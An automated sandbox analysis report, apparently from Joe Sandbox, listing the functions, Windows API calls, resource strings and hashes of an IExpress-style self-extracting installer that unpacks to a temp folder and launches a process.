Opcode Fuzzy Hash: 6f6c18ca1fc3153d662b5ca635a494c3d3b2b047f38ebe9eb011f05282b950a0
Instruction Fuzzy Hash: C18128B0B04A049ADB279B318CA1FEA726D9F65303F040165FD86D71B0EF70AECD8A50

Function 00352CAA Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 183
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00352CD9
memset.MSVCRT ref: 00352CE9
memset.MSVCRT ref: 00352CF9

Part of subcall function 0035468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003546A0
Part of subcall function 0035468F: SizeofResource.KERNEL32(00000000,00000000,?,00352D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003546A9
Part of subcall function 0035468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003546C3
Part of subcall function 0035468F: LoadResource.KERNEL32(00000000,00000000,?,00352D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003546CC
Part of subcall function 0035468F: LockResource.KERNEL32(00000000,?,00352D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003546D3
Part of subcall function 0035468F: memcpy_s.MSVCRT ref: 003546E5
Part of subcall function 0035468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 003546EF

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00352D34
SetEvent.KERNEL32(00000000,?,?,?,?,?,?,?,00000002,00000000), ref: 00352D40
CreateMutexA.KERNEL32(00000000,00000001,?,00000104,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 00352DAE
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 00352DBD
CloseHandle.KERNEL32(valid,00000000,00000020,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 00352E0A

Part of subcall function 003544B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00354518
Part of subcall function 003544B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 00354554

Strings

valid, xrefs: 00352D04, 00352DD9, 00352DF0
EXTRACTOPT, xrefs: 00352D4D
TITLE, xrefs: 00352D09
INSTANCECHECK, xrefs: 00352D95
VERCHECK, xrefs: 00352E54

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: Resource$memset$CreateEventFindLoad$CloseErrorFreeHandleLastLockMessageMutexSizeofStringmemcpy_s
String ID: EXTRACTOPT$INSTANCECHECK$TITLE$VERCHECK$valid
API String ID: 1002816675-2613340241
Opcode ID: fa6f51c160932ccc4047a48e890acb9575df3f19840559c7fe12437d89614b93
Instruction ID: c15b007ade3a3bd37ad6ac8ccb6fc899fa019e2eb3628a9c9fdfc7af36cf337d
Opcode Fuzzy Hash: fa6f51c160932ccc4047a48e890acb9575df3f19840559c7fe12437d89614b93
Instruction Fuzzy Hash: 9651D470340701AAE72767319C4BF7B26ACDB46703F05442AFD42DA1F5DBB4898D9A21

Function 0035597D Relevance: 19.7, APIs: 13, Instructions: 212
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 003559A8
SetCurrentDirectoryA.KERNELBASE(?), ref: 003559AF
GetDiskFreeSpaceA.KERNELBASE(00000000,?,?,?,?,00000001), ref: 00355A13
MulDiv.KERNEL32(?,?,00000400), ref: 00355A40
GetVolumeInformationA.KERNELBASE(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00355A64
memset.MSVCRT ref: 00355A7C
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 00355A98
FormatMessageA.KERNEL32(00001000,00000000,00000000), ref: 00355AA5
SetCurrentDirectoryA.KERNEL32(?,?,?,00000010,00000000), ref: 00355BFC

Part of subcall function 003544B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00354518
Part of subcall function 003544B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 00354554

Part of subcall function 00356285: GetLastError.KERNEL32(00355BBC), ref: 00356285

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: CurrentDirectory$ErrorLastMessage$DiskFormatFreeInformationLoadSpaceStringVolumememset
String ID:
API String ID: 4237285672-0
Opcode ID: 0059e8aca63c1a718df1348908cd224cea9e2ec25dccd7d99588d888ed16be17
Instruction ID: 75360af0265a0ec1ba2597490a085256a46e8456ec5ee0ee91dc13778ea1fe16
Opcode Fuzzy Hash: 0059e8aca63c1a718df1348908cd224cea9e2ec25dccd7d99588d888ed16be17
Instruction Fuzzy Hash: 107195B190071CAFDB179F60CC99FFB77ACEB48346F4441AAF80597160DA349E898B60

Function 00354FE0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 121
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0035468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003546A0
Part of subcall function 0035468F: SizeofResource.KERNEL32(00000000,00000000,?,00352D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003546A9
Part of subcall function 0035468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003546C3
Part of subcall function 0035468F: LoadResource.KERNEL32(00000000,00000000,?,00352D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003546CC
Part of subcall function 0035468F: LockResource.KERNEL32(00000000,?,00352D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003546D3
Part of subcall function 0035468F: memcpy_s.MSVCRT ref: 003546E5
Part of subcall function 0035468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 003546EF

FindResourceA.KERNEL32(00000000,CABINET,0000000A), ref: 00354FFE
LoadResource.KERNEL32(00000000,00000000), ref: 00355006
LockResource.KERNEL32(00000000), ref: 0035500D
GetDlgItem.USER32(00000000,00000842), ref: 00355030
ShowWindow.USER32(00000000), ref: 00355037
GetDlgItem.USER32(00000841,00000005), ref: 0035504A
ShowWindow.USER32(00000000), ref: 00355051
FreeResource.KERNEL32(00000000,00000000,00000010,00000000), ref: 00355111
SendMessageA.USER32(00000FA1,00000000,00000000,00000000), ref: 00355159

Strings

CABINET, xrefs: 00354FE6, 00354FF7
*MEMCAB, xrefs: 003550C7

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: Resource$Find$FreeItemLoadLockShowWindow$MessageSendSizeofmemcpy_s
String ID: *MEMCAB$CABINET
API String ID: 1305606123-2642027498
Opcode ID: e832a14563015658eadde64b5b590b750db65f4ee6de59438763c9be3227ff83
Instruction ID: be7f94ccc727fc1af3be56ff95c01d3e2d7da288f46cc7feaaabea272e80407f
Opcode Fuzzy Hash: e832a14563015658eadde64b5b590b750db65f4ee6de59438763c9be3227ff83
Instruction Fuzzy Hash: 713159B0740F12BBDB231B22AC8AFA73A9CB70474BF010515FD05A21F1DBB49D489A60

Function 003553A1 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 71
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0035171E: _vsnprintf.MSVCRT ref: 00351750

RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 003553FB
GetFileAttributesA.KERNELBASE(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00355402
GetTempFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP001.TMP\,IXP,00000000,?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 0035541F
DeleteFileA.KERNEL32(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 0035542B
CreateDirectoryA.KERNEL32(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00355434
CreateDirectoryA.KERNELBASE(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00355452

Strings

IXP, xrefs: 00355419
IXP%03d.TMP, xrefs: 003553C0
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 003553B7, 003553E1, 0035541E

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: DirectoryFile$Create$AttributesDeleteNameRemoveTemp_vsnprintf
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\$IXP$IXP%03d.TMP
API String ID: 1082909758-2310010875
Opcode ID: aaf138bef66036f2d81bfaf1790243d97806d0b7c86ee42934a65c62a448b3b0
Instruction ID: c592cfa404be460416ebfc14b9935b92a39d6ddfdd3f22768977c92347b6a4a4
Opcode Fuzzy Hash: aaf138bef66036f2d81bfaf1790243d97806d0b7c86ee42934a65c62a448b3b0
Instruction Fuzzy Hash: 1D11C471700A0477D3229B269C49FEF766DEBC5723F500125FA46D31F0DE749D8A86A1

Function 0035468F Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003546A0
SizeofResource.KERNEL32(00000000,00000000,?,00352D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003546A9
FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003546C3
LoadResource.KERNEL32(00000000,00000000,?,00352D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003546CC
LockResource.KERNEL32(00000000,?,00352D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003546D3
memcpy_s.MSVCRT ref: 003546E5
FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 003546EF

Strings

valid, xrefs: 003546E4
TITLE, xrefs: 0035469D, 003546C0

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: Resource$Find$FreeLoadLockSizeofmemcpy_s
String ID: TITLE$valid
API String ID: 3370778649-1357392868
Opcode ID: 969f8f6ad389aaed30accc41d289ec5e9f4233b988cee2e626086740b228fc15
Instruction ID: 9cf52dfecd5e631d1f8ba47f2dfa745b1a7e422761999cb310ca4145dcfa8a31
Opcode Fuzzy Hash: 969f8f6ad389aaed30accc41d289ec5e9f4233b988cee2e626086740b228fc15
Instruction Fuzzy Hash: 3A01F4322407007BE3221BA56C0DF2B7E2CDBCAF63F050114FE49871B0C9B1888492B2

Function 00355467 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?,?,?,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 003554C9
CreateDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 0035553D
RemoveDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 0035556F

Part of subcall function 003553A1: RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 003553FB
Part of subcall function 003553A1: GetFileAttributesA.KERNELBASE(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00355402
Part of subcall function 003553A1: GetTempFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP001.TMP\,IXP,00000000,?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 0035541F
Part of subcall function 003553A1: DeleteFileA.KERNEL32(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 0035542B
Part of subcall function 003553A1: CreateDirectoryA.KERNEL32(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00355434

Strings

mips, xrefs: 003554F7
alpha, xrefs: 003554F0
ppc, xrefs: 003554E9
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 0035547D, 00355481, 003554AB, 0035551C, 0035553C, 00355568
i386, xrefs: 003554FE

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: Directory$File$CreateRemove$AttributesDeleteInfoNameSystemTemp
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\$alpha$i386$mips$ppc
API String ID: 1979080616-1000730752
Opcode ID: 68d9a50d033a1ec95b887efba23f4d1d2c4060f375af0e89eb0466e4a27f2758
Instruction ID: edb4f6fc19ef29b2392751f901653f644fb257857b8c2393ba4943c0fd86c9c1
Opcode Fuzzy Hash: 68d9a50d033a1ec95b887efba23f4d1d2c4060f375af0e89eb0466e4a27f2758
Instruction Fuzzy Hash: 6231D671B00B149BCB139B299C65E7E779EAB82343F15056AEC03D7670EA70AE0D8691

Function 0035256D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 75
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Control\Session Manager,00000000,00020019,?,00000000,00354096,00354096,?,00351ED3,00000001,00000000,?,?,00354137,?), ref: 003525B2
RegQueryValueExA.KERNELBASE(?,PendingFileRenameOperations,00000000,00000000,00000000,00354096,?,00351ED3,00000001,00000000,?,?,00354137,?,00354096), ref: 003525CB
RegCloseKey.KERNELBASE(?,?,00351ED3,00000001,00000000,?,?,00354137,?,00354096), ref: 003525DD
RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Session Manager\FileRenameOperations,00000000,00020019,?,00000000,00354096,00354096,?,00351ED3,00000001,00000000,?,?,00354137,?), ref: 003525FF
RegQueryInfoKeyA.ADVAPI32(?,00000000,00000000,00000000,00000000,00000000,00000000,00354096,00000000,00000000,00000000,00000000,?,00351ED3,00000001,00000000), ref: 0035261A

Strings

PendingFileRenameOperations, xrefs: 003525C3
System\CurrentControlSet\Control\Session Manager, xrefs: 003525A8
System\CurrentControlSet\Control\Session Manager\FileRenameOperations, xrefs: 003525F5

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: OpenQuery$CloseInfoValue
String ID: PendingFileRenameOperations$System\CurrentControlSet\Control\Session Manager$System\CurrentControlSet\Control\Session Manager\FileRenameOperations
API String ID: 2209512893-559176071
Opcode ID: af3c7fa994629511940c039e653db7032bf890194afe5bdfd705052d84063edd
Instruction ID: 6d4294fe11e23a7f81958de466934b730ef682ed2c74ffd235a4f2ac323f0bfe
Opcode Fuzzy Hash: af3c7fa994629511940c039e653db7032bf890194afe5bdfd705052d84063edd
Instruction Fuzzy Hash: 09118235912228BB9B229B919C09DFBBF7CEF027A3F504155FC08A3060DA704E48E6A1

Function 00356A60 Relevance: 13.6, APIs: 9, Instructions: 138
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00357155: GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 00357182
Part of subcall function 00357155: GetCurrentProcessId.KERNEL32 ref: 00357191
Part of subcall function 00357155: GetCurrentThreadId.KERNEL32 ref: 0035719A
Part of subcall function 00357155: GetTickCount.KERNEL32 ref: 003571A3
Part of subcall function 00357155: QueryPerformanceCounter.KERNEL32(?), ref: 003571B8

GetStartupInfoW.KERNEL32(?,003572B8,00000058), ref: 00356A7F
Sleep.KERNEL32(000003E8), ref: 00356AB4
_amsg_exit.MSVCRT ref: 00356AC9
_initterm.MSVCRT ref: 00356B1D
__IsNonwritableInCurrentImage.LIBCMT ref: 00356B49
exit.KERNELBASE ref: 00356BBF
_ismbblead.MSVCRT ref: 00356BDA

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: Current$Time$CountCounterFileImageInfoNonwritablePerformanceProcessQuerySleepStartupSystemThreadTick_amsg_exit_initterm_ismbbleadexit
String ID:
API String ID: 836923961-0
Opcode ID: 022d1e475074373314c2fe13d7ccd23da6858f47e360de6e068fe9cb870cdd56
Instruction ID: 07ad790d139262a8a9d8d45f941afdaa1c9adba1c4f0905ae80075fafe1ca548
Opcode Fuzzy Hash: 022d1e475074373314c2fe13d7ccd23da6858f47e360de6e068fe9cb870cdd56
Instruction Fuzzy Hash: EC41E2709047258BDB239B69DC06FAA7BF8EB44723FA5011AEC41E72B0CF744949CB81

Function 003558C8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 74
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNEL32(00000040,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,00355534,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 003558E7
CreateFileA.KERNELBASE(00000000,40000000,00000000,00000000,00000001,04000080,00000000,TMP4351$.TMP,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,00355534,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00355943
LocalFree.KERNEL32(00000000,?,00355534,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 0035594D
CloseHandle.KERNEL32(00000000,?,00355534,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 0035595C
GetFileAttributesA.KERNELBASE(C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,00355534,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00355963

Strings

TMP4351$.TMP, xrefs: 00355923
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 003558CD, 003558CF, 00355919, 00355962

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: FileLocal$AllocAttributesCloseCreateFreeHandle
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\$TMP4351$.TMP
API String ID: 747627703-1860564779
Opcode ID: 96145a53802a8d7c160e42507c692eeb42d7a465bfa2c3e41ff3ae6de43656cf
Instruction ID: 1daca1fd691c1b5dd9c43abc7b82d522867cca7d7f3ee8a9c9f0fface25f0285
Opcode Fuzzy Hash: 96145a53802a8d7c160e42507c692eeb42d7a465bfa2c3e41ff3ae6de43656cf
Instruction Fuzzy Hash: 59113872600720A7C7261F7A9C0DF9B7E9DDF46362F100615F905D71F1CB74980986A0

Function 00353FEF Relevance: 10.6, APIs: 7, Instructions: 97processsynchronizationwindowCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?,?,?,00000000), ref: 00354033
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00354049
GetExitCodeProcess.KERNELBASE(?,?), ref: 0035405C
CloseHandle.KERNEL32(?), ref: 0035409C
CloseHandle.KERNEL32(?), ref: 003540A8
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 003540DC
FormatMessageA.KERNEL32(00001000,00000000,00000000), ref: 003540E9

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateErrorExitFormatLastMessageObjectSingleWait
String ID:
API String ID: 3183975587-0
Opcode ID: 6b5d06bc8be2ba33a2e83c5f4497798665bb1dc92f60d6057bcc140321e023da
Instruction ID: 4e45b08924af897e16c53999c0b170c992ed6bfc8ee05cfe48b8473eb9d54811
Opcode Fuzzy Hash: 6b5d06bc8be2ba33a2e83c5f4497798665bb1dc92f60d6057bcc140321e023da
Instruction Fuzzy Hash: 1731C431640718ABEB269B65DC49FABB77CEB94706F20016AF905D71B0CA304DC9CB21

Function 003551E5 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0035468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003546A0
Part of subcall function 0035468F: SizeofResource.KERNEL32(00000000,00000000,?,00352D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003546A9
Part of subcall function 0035468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003546C3
Part of subcall function 0035468F: LoadResource.KERNEL32(00000000,00000000,?,00352D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003546CC
Part of subcall function 0035468F: LockResource.KERNEL32(00000000,?,00352D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003546D3
Part of subcall function 0035468F: memcpy_s.MSVCRT ref: 003546E5
Part of subcall function 0035468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 003546EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,00352F4D,?,00000002,00000000), ref: 00355201
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 00355250

Part of subcall function 003544B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00354518
Part of subcall function 003544B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 00354554

Part of subcall function 00356285: GetLastError.KERNEL32(00355BBC), ref: 00356285

Strings

<None>, xrefs: 00355262
UPROMPT, xrefs: 003551EF, 00355230

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocErrorLastLockMessageSizeofStringmemcpy_s
String ID: <None>$UPROMPT
API String ID: 957408736-2980973527
Opcode ID: c6117fa1ff235ca27fb05bc9e15c0b7b4dc5570f85db78bcf851b6b349bef8f7
Instruction ID: 40ae7a0a5d02765d6281470ece64073278544d6b5f76f7c0b2880be584d7828c
Opcode Fuzzy Hash: c6117fa1ff235ca27fb05bc9e15c0b7b4dc5570f85db78bcf851b6b349bef8f7
Instruction Fuzzy Hash: 231138B5240B01ABD7176B728C55F3B319DDB88357F004829FF02DA1F0DA78AC081625

Function 00353A3F Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 73memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 0035468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003546A0
Part of subcall function 0035468F: SizeofResource.KERNEL32(00000000,00000000,?,00352D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003546A9
Part of subcall function 0035468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003546C3
Part of subcall function 0035468F: LoadResource.KERNEL32(00000000,00000000,?,00352D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003546CC
Part of subcall function 0035468F: LockResource.KERNEL32(00000000,?,00352D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003546D3
